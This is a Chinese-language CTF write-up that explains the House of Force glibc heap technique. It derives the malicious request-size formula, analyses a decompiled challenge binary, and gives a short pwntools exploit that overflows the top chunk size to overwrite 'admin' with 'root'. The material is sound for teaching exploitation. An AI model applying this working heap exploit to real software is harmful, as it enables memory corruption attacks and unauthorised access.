队里打比赛遇到的堆题,最后学长打通了并把 exp 放了出来给我们学习,由此学到 House of Force 这个很古老的豪斯(可以追溯到 House of 系列的创始文章The Malloc Maleficarum)
先给一篇很棒的参考:
House of Force
House of Force 是一个针对 top chunk 的 size 域的利用手法,通过篡改 size 域来获得任意地址写
先来看看当 bins 里没有合适的 chunk 时 ptmalloc 是如何切割 top chunk 的
p = av->top;
size = chunksize (p);
/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p);
}
/* catch all failure paths */
__set_errno (ENOMEM);
return 0;
其中,remainder
就是切割后 top chunk 的地址,相关代码等价于
remainder = old_top_chunk_addr + new_chunk_size
结合 chunk 的结构,我们还有以下代换
new_chunk_size = request_size + 0x10 (0x08 for 32bit)
remainder = target + 0x10 (0x08 for 32bit)
代入等式,我们可以得到如下算式
request_size = target - old_top_chunk_addr - 0x20 (0x10 for 32bit)
这里算出的 size 无所谓正负,因为 size 的类型是 unsigned long,若是负数则发生 int overflow,依旧可以来到我们想要的地址
但单单如此我们很难进行利用,很多情况下我们想篡改的地址往往在 top chunk 下面,但按照公式此时申请的 size 为负数,也就是一个极大的无符号整数,top chunk 的大小无法满足分配要求
所以我们还需要将 top chunk 的 size 域篡改为一个大数,unsigned(-1)
就是一个好选择
到这里我们可以总结出 House of Force 的核心要点
- 利用条件
- 可以申请任意大小的堆块
- 可以溢出篡改 top chunk size
- 利用流程
- 获取 top chunk 的地址
- 计算恶意 request size
- 篡改 top chunk size 为大数
- 申请第一次,此时 top chunk 迁移到目标地址前
- 申请第二次,分配出目标地址,实现任意地址写
题目
题目没有开地址随机化
main()
先申请一个堆块,写入内容为 admin
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // [rsp+8h] [rbp-8h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = malloc(0x18uLL);
strcpy(v3, "admin");
menu(v3);
}
menu()
两个功能:增加用户、读 flag
void __fastcall __noreturn menu(const char *a1)
{
int v1; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
while ( 1 )
{
puts("[!]\tWelcome in my house!\t[!]\n");
printf("Actual user: %s\n\n", a1);
puts("1. Create user\n2. Read flag\n3. Exit\n");
printf(">> ");
__isoc99_scanf("%d", &v1);
putchar(10);
switch ( v1 )
{
case 1:
create_user();
break;
case 2:
read_flag(a1);
break;
case 3:
exit(0);
}
}
}
create_user()
允许我们申请任意大小的堆块,并且并没有对输入长度做判断,可以溢出
unsigned __int64 create_user()
{
char *v0; // rax
size_t size; // [rsp+8h] [rbp-28h] BYREF
char *src; // [rsp+10h] [rbp-20h]
char *dest; // [rsp+18h] [rbp-18h]
char *v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Enter username: ");
src = malloc(0x19uLL);
__isoc99_scanf("%s", src);
putchar(10);
dest = malloc(0x18uLL);
strcpy(dest, src);
printf("Enter password: ");
v5 = malloc(0x18uLL);
__isoc99_scanf("%s", v5);
putchar(10);
printf("Enter disk space: ");
putchar(10);
__isoc99_scanf("%lu", &size);
malloc(size);
v0 = malloc(0x18uLL);
strcpy(v0, v5);
return __readfsqword(0x28u) ^ v6;
}
read_flag()
虽然让我们读 flag,但对一开始 main 里申请的堆块的内容做判定
int __fastcall read_flag(const char *a1)
{
if ( !strcmp(a1, "root") )
return system("cat flag.txt");
else
return puts("[-] You have to be root to read flag!\n");
}
由于后面申请的堆块都在初始块上放,正常来说我们无法修改 admin 为 root,但无地址随机化和输入可以溢出为我们指明了 House of Force 这条明路,剩下的只需要一步步算恶意 request size 即可
exp
不同于其他堆题,这里的 exp 出奇的短
from pwn import *
context.arch = 'amd64'
io = process('./house')
def add(name, password, size):
io.sendlineafter('>>', '1')
io.sendlineafter('Enter username:', name)
io.sendlineafter('Enter password:', password)
io.sendlineafter('Enter disk space:', str(size).encode())
def show():
io.sendlineafter('>>', '2')
io.interactive()
target = 0x603260
top_chunk = 0x6032e0
request = target - top_chunk - 0x20
add(b'a'*0x8, b'root\x00\x00\x00\x00'*3 + p64(unsigned(-1)), unsigned(request))
show()
做出来后才看明白题目描述“愿原力与你同在”其实已经明示了 House of Force(草
说起来 House of Force 好像是个很基础的手法,知识掌握还是太不扎实
PS:堆利用乱七八糟的豪斯也太多了吧,能不能来点 House of 百京二环、House of 汤臣一品之类的
Comments NOTHING